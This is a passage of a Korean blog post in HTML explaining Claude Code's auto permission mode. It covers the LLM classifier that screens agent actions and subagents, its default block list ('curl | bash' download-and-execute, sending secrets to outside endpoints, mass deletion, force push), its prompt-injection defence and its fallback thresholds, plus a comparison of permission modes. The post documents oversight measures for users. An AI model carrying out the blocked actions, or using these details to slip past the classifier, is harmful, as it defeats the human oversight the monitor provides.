&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;분류기는 워킹 디렉토리와 git remote를 신뢰하고, 나머지는 외부로 취급한다. (출처: &lt;a href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기본 차단&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기본 허용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; vertical-align: top;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;code&gt;curl | bash&lt;/code&gt; 같은 다운로드 후 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;외부 엔드포인트로 민감 데이터 전송&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;프로덕션 배포 및 마이그레이션&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;클라우드 스토리지 대량 삭제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;IAM 또는 리포 권한 변경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;공유 인프라 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;세션 시작 전에 존재하던 파일의 비가역적 삭제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;code&gt;git push --force&lt;/code&gt; 또는 main 직접 push&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; vertical-align: top;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 18px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;워킹 디렉토리 내 로컬 파일 작업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;lock 파일/manifest에 선언된 의존성 설치&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;&lt;code&gt;.env&lt;/code&gt; 읽기 및 해당 API에 인증정보 전송&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;읽기 전용 HTTP 요청&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;현재 브랜치 또는 Claude가 생성한 브랜치에 push&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;위험한 allow 규칙은 자동 제거&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode 진입 시, &lt;code&gt;Bash(*)&lt;/code&gt;, &lt;code&gt;Bash(python*)&lt;/code&gt;, &lt;code&gt;Bash(node*)&lt;/code&gt;, 패키지 매니저 run 명령어, &lt;code&gt;Agent&lt;/code&gt; allow 규칙 등 광범위한 allow 규칙은 자동으로 제거된다. 이런 규칙이 남아 있으면 분류기를 거치지 않고 바로 실행되어 안전장치가 무력화되기 때문이다. &lt;code&gt;Bash(npm test)&lt;/code&gt; 같은 좁은 범위의 규칙은 유지된다. Auto mode를 나가면 원래 규칙이 복원된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;서브에이전트 처리&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CqrsD/dJMcad2tr0U/s9sqGKsZuMf6KzZKE5U0tK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CqrsD/dJMcad2tr0U/s9sqGKsZuMf6KzZKE5U0tK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CqrsD/dJMcad2tr0U/s9sqGKsZuMf6KzZKE5U0tK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCqrsD%2FdJMcad2tr0U%2Fs9sqGKsZuMf6KzZKE5U0tK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;1096&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 서브에이전트를 생성할 때, 분류기는 &lt;b&gt;세 단계&lt;/b&gt;로 검증한다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;생성 시:&lt;/b&gt; 위임되는 작업 설명을 평가. &quot;모든 원격 브랜치 삭제&quot; 같은 위험한 작업은 생성 자체를 차단.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;실행 중:&lt;/b&gt; 서브에이전트의 tool call도 부모 세션과 동일한 규칙으로 분류기를 통과.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;완료 시:&lt;/b&gt; 서브에이전트의 전체 작업 이력을 리뷰. 실행 중 읽은 콘텐츠에 의해 변조되었을 가능성을 검사. 우려 사항이 있으면 결과에 보안 경고를 붙여 메인 에이전트에게 전달.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 권한 모드 비교&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6가지 모드 비교표&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code는 이제 6가지 권한 모드를 제공한다. (출처: &lt;a href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;6가지가 모두 Shift+Tab으로 전환되는 건 아니다&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;실제 Shift+Tab 사이클은 모드별로 다르게 동작한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;기본 사이클 (3가지):&lt;/b&gt; &lt;code&gt;default &amp;rarr; acceptEdits &amp;rarr; plan&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;auto 추가 조건:&lt;/b&gt; &lt;code&gt;--enable-auto-mode&lt;/code&gt; 플래그 + Team 플랜 + Sonnet 4.6/Opus 4.6 + 관리자 활성화가 모두 충족되어야 사이클에 등장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;bypassPermissions 추가 조건:&lt;/b&gt; &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; 또는 &lt;code&gt;--permission-mode bypassPermissions&lt;/code&gt;로 시작했을 때만 사이클에 추가됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;dontAsk:&lt;/b&gt; Shift+Tab 사이클에 절대 등장하지 않음. CLI 플래그(&lt;code&gt;--permission-mode dontAsk&lt;/code&gt;)로만 설정 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;즉, &quot;Shift+Tab 눌렀는데 auto가 없다&quot;면 위 4가지 조건 중 하나라도 빠진 것이다. &quot;4가지 모드가 보인다&quot;면 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;가 활성화되어 bypassPermissions까지 사이클에 들어온 상태다.&lt;/p&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0px; font-size: 14px; height: 187px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8; height: 25px;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px; width: 21.2791%;&quot;&gt;모드&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px; width: 19.5349%;&quot;&gt;승인 프롬프트&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px; width: 17.5581%;&quot;&gt;안전 검사&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px; width: 15.814%;&quot;&gt;토큰&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; height: 25px; width: 25.6977%;&quot;&gt;적합한 상황&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;default&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;파일 수정 + 명령어&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;사용자가 직접 검토&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;처음 시작, 민감한 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;acceptEdits&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;명령어만&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;사용자가 명령어 검토&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;코드 반복 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; width: 99.8838%;&quot; colspan=&quot;5&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1762&quot; data-origin-height=&quot;88&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvJVCK/dJMcajawlTG/LkkkS45nUaNXLgX0WITdS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvJVCK/dJMcajawlTG/LkkkS45nUaNXLgX0WITdS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvJVCK/dJMcajawlTG/LkkkS45nUaNXLgX0WITdS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvJVCK%2FdJMcajawlTG%2FLkkkS45nUaNXLgX0WITdS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;27&quot; data-origin-width=&quot;1762&quot; data-origin-height=&quot;88&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;plan&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;수정 없이 계획만&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;코드 탐색, 리팩토링 계획&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; width: 99.8838%;&quot; colspan=&quot;5&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;526&quot; data-origin-height=&quot;36&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vNb6H/dJMcagSr8bR/vpkhqARw7EugFcSIufKeqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vNb6H/dJMcagSr8bR/vpkhqARw7EugFcSIufKeqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vNb6H/dJMcagSr8bR/vpkhqARw7EugFcSIufKeqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvNb6H%2FdJMcagSr8bR%2FvpkhqARw7EugFcSIufKeqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;438&quot; height=&quot;30&quot; data-origin-width=&quot;526&quot; data-origin-height=&quot;36&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd; height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;&lt;b&gt;auto&lt;/b&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;&lt;b&gt;폴백 시에만&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;&lt;b&gt;분류기가 명령어 검토&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;&lt;b&gt;높음 (분류기 비용)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;&lt;b&gt;장시간 작업, 프롬프트 피로 감소&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;dontAsk&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;없음 (사전 허용만 실행)&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;사전 승인 규칙만&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;잠금된 CI/CD 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; width: 99.8838%;&quot; colspan=&quot;5&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;40&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eCIuL2/dJMcabQ7ECV/AawKmK5MK51uFiA3umFnKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eCIuL2/dJMcabQ7ECV/AawKmK5MK51uFiA3umFnKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eCIuL2/dJMcabQ7ECV/AawKmK5MK51uFiA3umFnKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeCIuL2%2FdJMcabQ7ECV%2FAawKmK5MK51uFiA3umFnKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;28&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;40&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 27px;&quot;&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 21.2791%;&quot;&gt;&lt;code&gt;bypassPermissions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 19.5349%;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 17.5581%;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 15.814%;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; height: 27px; width: 25.6977%;&quot;&gt;격리된 컨테이너/VM 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; width: 99.8838%;&quot; colspan=&quot;5&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;52&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cd9qqI/dJMcagZb7NA/9eaKuGGEGFVHQA67DDbckk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cd9qqI/dJMcagZb7NA/9eaKuGGEGFVHQA67DDbckk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cd9qqI/dJMcagZb7NA/9eaKuGGEGFVHQA67DDbckk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcd9qqI%2FdJMcagZb7NA%2F9eaKuGGEGFVHQA67DDbckk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;483&quot; height=&quot;38&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;52&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;vs --dangerously-skip-permissions&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한국 Threads에서 가장 많이 나온 질문이다. &quot;그러면 &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt;랑 뭐가 다르죠? 그것보다 한 단계 발전된 형태로 보면 되나요?&quot;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Auto mode&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;bypassPermissions&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;안전 검사&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분류기가 각 작업 사전 평가&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;없음&lt;/b&gt; &amp;mdash; 모든 작업 즉시 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트 인젝션 방어&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;있음 (tool result 제거)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;위험한 allow 규칙&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;진입 시 자동 제거&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;그대로 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;폴백&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;연속 3회 또는 총 20회 차단 시 수동 전환&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;폴백 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;추가 비용&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분류기 호출 비용 발생&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;권장 환경&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;격리 환경 권장 (필수 아님)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;격리 환경 필수&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄 요약: &lt;b&gt;&quot;무조건적인 승인&quot;이 bypassPermissions라면, auto는 &quot;AI에게 판단을 위임&quot;하는 것이다.&lt;/b&gt; (커뮤니티 표현 인용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;vs Cursor / Codex&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티에서의 반응은 &quot;난 그래서 커서를 좋아함. 이미 있는 기능 ㅋㅋ&quot;이라는 반응이 나왔고, 반대로 &quot;이제 커서를 쓸 필요가 없는 거 아닌가&quot;라는 답글도 달렸다. 실제 차이를 정리하면 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Claude Code Auto&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Cursor Yolo&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Codex full-auto&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;안전 분류기&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;별도 LLM (Sonnet 4.6)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;없음 (전면 자동 승인)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;샌드박스 격리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;차단 시 대응&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;대안 접근 시도&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;샌드박스 내에서만 작동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;서브에이전트 검사&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;생성/실행/완료 3단계&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;샌드박스 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
